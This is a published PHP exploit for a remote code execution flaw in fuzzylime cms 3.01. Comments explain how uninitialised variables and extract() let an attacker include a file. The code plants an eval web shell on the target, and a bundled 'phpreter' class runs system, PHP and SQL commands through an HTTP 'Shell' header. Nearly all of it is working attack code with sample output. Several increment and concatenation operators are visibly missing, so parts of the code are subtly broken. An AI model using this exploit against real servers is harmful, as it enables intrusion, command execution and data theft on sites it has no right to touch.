fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit

<?php
     ##
     ## Name: Fuzzylime 3.01 Remote Code Execution Exploit
     ## Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
     ##
     ## Conditions: None
     ##
     ## Greetz: Inphex, hEEGy and austeN
     ##
     ## Explanations
     ## ************
     ##
     ## Ok, so today we will go for a walk in the fuzzylime cms maze ...
     ## Finding vulns was easy, but finding a no condition vuln was quite
     ## harder ...
     ##
     ## First, we look to the code/content.php file:
     ##
     ##---[code/content.php]------------------------------------------
     ## 02| require_once("code/functions.php");
     ## --| [...]
     ## 09| $countfile = "code/counter/${s}_$p.inc.php";
     ## 10| if(file_exists($countfile)) {
     ## 11| $curcount = loadfile($countfile);
     ## 12| }
     ## 13| $curcount ;
     ## 14| if($handle = @fopen($countfile, 'w')) { // Open the file for saving
     ## 15| fputs($handle, $curcount);
     ## 16| fclose($handle);
     ## 17| }
     ##----------------------------------------------------------------
     ##
     ## $s, $p, $curcount vars are not initialized, so we can set it if
     ## register_globals=On.
     ##
     ## POC: http://[url]/code/content.php?s=owned&p=owned&curcount=[PHP_SCRIPT]
     ##
     ## Note: [C:\]# php -r "$var='abc'; $var ; print $var;"
     ## abd
     ## So the just increment the last string letter position in the alphabet
     ## a->b, b->c, etc.
     ##
     ## Ok, we got remote code exec ... but wait a minute ... no ! require_once()
     ## requires a file in the code folder, but we are already in this folder ...
     ## PHP will die (Fatal Error) and our evil code won't be executed.
     ## And we wanted a no condition exploit, but this vuln needs register_globals
     ## to be On ...
     ##
     ## hum... let's look at other pages: we can find that extract() function is
     ## pretty often used, and it can simulate register_globals ...
     ## Now we are looking for a file which uses extract() and which can include
     ## code/content.php file, and which is in the root path.
     ##
     ## And we finally found commsrss.php, which contains:
     ##
     ##---[commsrss.php]-----------------------------------------------
     ## 17| extract($HTTP_POST_VARS);
     ## 18| extract($_POST);
     ## 19| extract($HTTP_GET_VARS);
     ## 20| extract($_GET);
     ## 21| extract($HTTP_COOKIE_VARS);
     ## 22| extract($_COOKIE);
     ## --| [...]
     ## 64| $dir = "blogs/comments/";
     ## 65| if($dlist = opendir($dir)) {
     ## 66| while (($file = readdir($dlist)) !== false) {
     ## 67| if(strstr($file, $p)) {
     ## 68| $files[] = $file;
     ## 69| }
     ## 70| }
     ## 71| closedir($dlist);
     ## 72| }
     ## 73| for($i = 0; $i < count($files); $i ) {
     ## 74| include "blogs/comments/$files[$i]";
     ## --| [...]
     ## 89| }
     ##----------------------------------------------------------------
     ##
     ## w00t ! $files array is not initialized ... we can include every
     ## file we want.
     ##
     ## Using chr() we can bypass magic_quotes_gpc=Off [ see chrit() ]
     ##
     ## Our problems are solved, we have a Remote Code Execution without
     ## conditions.
     ##
     ## Proof of Concept
     ## ****************
     ##
     ## [C:\]# php exploit.php http://www.target.com/
     ## [target][cmd]# ls
     ## blogs_.inc.php
     ## content_index.inc.php
     ## content_index.php.inc.php
     ## content_test.inc.php
     ## front_index.inc.php
     ## front_test.inc.php
     ## index.htm
     ## index.php_index.inc.php
     ##
     ## [target][cmd]# exit
     ##
     ## [C:\]#
     $url = $argv[1];
     $php_code = '<?php'
     . 'error_reporting(0);'
     . 'print ' . chrit('-:-:-') . ';'.
     . 'eval(stripslashes($_SERVER[HTTP_SHELL]));'
     . 'print ' . chrit('-:-:-') . ';'.
     . '?>';
     $php_code--; // 13| $curcount ;
     $c0de = $url . 'commsrss.php?s=blogs&m=&usecache=0&files[0]=../../code/content.php'
     . '&curcount=' . urlencode($php_code);
     $shell = $url . 'code/counter/blogs_.inc.php';
     # Be careful: we can create a valid shell only ONCE.
     # So check if it does not already exist before doing
     # anything else.
     if(status_404($shell)==true)
     get($c0de);
     $phpR = new phpreter($shell, '-:-:-(.*)-:-:-', 'cmd', array(), false);
     function chrit($str)
     {
     $r = '';
     for($i=0;$i<strlen($str);$i )
     {
     $z = substr($str, $i, 1);
     $r .= '.chr('.ord($z).')';
     }
     return substr($r, 1);
     }
     function get($url)
     {
     $infos = parse_url($url);
     $host = $infos['host'];
     $port = isset($infos['port']) ? $infos['port'] : 80;
     $fp = fsockopen($host, $port, &$errno, &$errstr, 30);
     $req = "GET $url HTTP/1.1\r\n";
     $req .= "Host: $host\r\n";
     $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
     $req .= "Connection: close\r\n\r\n";
     fputs($fp,$req);
     fclose($fp);
     }
     function status_404($url)
     {
     $infos = parse_url($url);
     $host = $infos['host'];
     $port = isset($infos['port']) ? $infos['port'] : 80;
     $fp = fsockopen($host, $port, &$errno, &$errstr, 30);
     $req = "GET $url HTTP/1.1\r\n";
     $req .= "Host: $host\r\n";
     $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
     $req .= "Connection: close\r\n\r\n";
     fputs($fp, $req);
     $res = '';
     while(!feof($fp) && !preg_match('#404#', $res))
     $res .= fgets($fp, 1337);
     fclose($fp);
     if(preg_match('#404#', $res))
     return true;
     return false;
     }
     /*
     * Copyright (c) real
     *
     * This program is free software; you can redistribute it and/or
     * modify it under the terms of the GNU General Public License
     * as published by the Free Software Foundation; either version 2
     * of the License, or (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program; if not, write to the Free Software
     * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
     *
     * TITLE: PHPreter
     * AUTHOR: Charles "real" F. <charlesfol[at]hotmail.fr>
     * VERSION: 1.0
     * LICENSE: GNU General Public License
     *
     * This is a really simple class with permits to exec SQL, PHP or CMD
     * on a remote host using the HTTP "Shell" header.
     *
     *
     * Sample code:
     * [host][sql]# mode=cmd
     * [host][cmd]# id
     * uid=2176(u47170584) gid=600(ftpusers)
     *
     * [host][cmd]# mode=php
     * [host][php]# echo phpversion();
     * 4.4.8
     * [host][php]# mode=sql
     * [host][sql]# SELECT version(), user()
     * --------------------------------------------------
     * version() | 5.0.51a-log
     * user() | dbo225004932@74.208.16.148
     * --------------------------------------------------
     *
     * [host][sql]#
     *
     */
     class phpreter
     {
     var $url;
     var $host;
     var $port;
     var $page;
     var $mode;
     var $ssql;
     var $prompt;
     var $phost;
     var $regex;
     var $data;
     /**
     * __construct()
     *
     * @param url The url of the remote shell.
     * @param regexp The regex to catch cmd result.
     * @param mode Mode: php, sql or cmd.
     * @param sql An array with the file to include,
     * and sql vars
     * @param clear Determines if clear() is called
     * on startup
     */
     function __construct($url, $regexp='^(.*)$', $mode='cmd', $sql=array(), $clear=true)
     {
     $this->url = $url;
     $this->regex = '#'.$regexp.'#is';
     #
     # Set data
     #
     $infos = parse_url($this->url);
     $this->host = $infos['host'];
     $this->port = isset($infos['port']) ? $infos['port'] : 80;
     $this->page = $infos['path'];
     unset($infos);
     # www.(site).com
     $host_tmp = explode('.',$this->host);
     $this->phost = $host_tmp[ count($host_tmp)-2 ];
     unset($host_tmp);
     #
     # Set up MySQL connection string
     #
     if(!sizeof($sql))
     $this->ssql = '';
     elseif(sizeof($sql)==5)
     {
     $this->ssql = "include('$sql[0]');"
     . "mysql_connect($sql[1], $sql[2], $sql[3]);"
     . "mysql_select_db($sql[4]);";
     }
     else
     {
     $this->ssql = ""
     . "mysql_connect('$sql[0]', '$sql[1]', '$sql[2]');"
     . "mysql_select_db('$sql[3]');";
     }
     $this->setmode($mode);
     #
     # Main Loop
     #
     if($clear) $this->clear();
     print $this->prompt;
     while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) )
     {
     # change mode
     if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i',$cmd,$array))
     $this->setmode($array[3]);
     # clear data
     elseif(preg_match('#^clear$#i',$cmd))
     $this->clear();
     # else
     else print $this->exec($cmd);
     print $this->prompt;
     }
     }
     /**
     * clear()
     * Just clears ouput, printing '\n'x50
     */
     function clear()
     {
     print str_repeat("\n", 50);
     return 0;
     }
     /**
     * setmode()
     * Set mode (PHP, CMD, SQL)
     * You don't have to call it.
     * use mode=[php|cmd|sql] instead,
     * in the prompt.
     */
     function setmode($newmode)
     {
     $this->mode = strtolower($newmode);
     $this->prompt = '['.$this->phost.']['.$this->mode.']# ';
     switch($this->mode)
     {
     case 'cmd':
     $this->data = 'system(\'<CMD>\');';
     break;
     case 'php':
     $this->data = '';
     break;
     case 'sql':
     $this->data = $this->ssql
     . '$q = mysql_query(\'<CMD>\') or print(str_repeat("-",50)."\n".mysql_error()."\n");'
     . 'print str_repeat("-",50)."\n";'
     . 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))'
     . '{'
     . 'foreach($r as $k=>$v) print " ".$k.str_repeat(" ", (20-strlen($k)))."| $v\n";'
     . 'print str_repeat("-",50)."\n";'
     . '}';
     break;
     }
     return $this->mode;
     }
     /**
     * exec()
     * Execute any query and catch the result.
     * You don't have to call it.
     */
     function exec($cmd)
     {
     if(!strlen($this->data)) $shell = $cmd;
     else $shell = str_replace('<CMD>', addslashes($cmd), $this->data);
     $fp = fsockopen($this->host, $this->port, &$errno, &$errstr, 30);
     $req = "GET " . $this->page . " HTTP/1.1\r\n";
     $req .= "Host: " . $this->host . ( $this->port!=80 ? ':'.$this->port : '' ) . "\r\n";
     $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
     $req .= "Shell: $shell\r\n";
     $req .= "Connection: close\r\n\r\n";
     unset($shell);
     fputs($fp, $req);
     $content = '';
     while(!feof($fp)) $content .= fgets($fp, 128);
     fclose($fp);
     # Remove headers
     $data = explode("\r\n\r\n", $content);
     $headers = array_shift($data);
     $content = implode("\r\n\r\n", $data);
     if(preg_match("#Transfer-Encoding:.*chunked#i", $headers))
     $content = $this->unchunk($content);
     preg_match($this->regex, $content, $data);
     if($data[1][ strlen($data)-1 ] != "\n") $data[1] .= "\n";
     return $data[1];
     }
     /**
     * unchunk()
     * This function aims to remove chunked content sizes which
     * are putted by apache server when it uses chunked
     * transfert-encoding.
     */
     function unchunk($data)
     {
     $dsize = 1;
     $offset = 0;
     while($dsize>0)
     {
     $hsize_size = strpos($data, "\r\n", $offset) - $offset;
     $dsize = hexdec(substr($data, $offset, $hsize_size));
     # Remove $hsize\r\n from $data
     $data = substr($data, 0, $offset) . substr($data, ($offset $hsize_size 2) );
     $offset = $dsize;
     # Remove the \r\n before the next $hsize
     $data = substr($data, 0, $offset) . substr($data, ($offset 2) );
     }
     return $data;
     }
     }
     ?>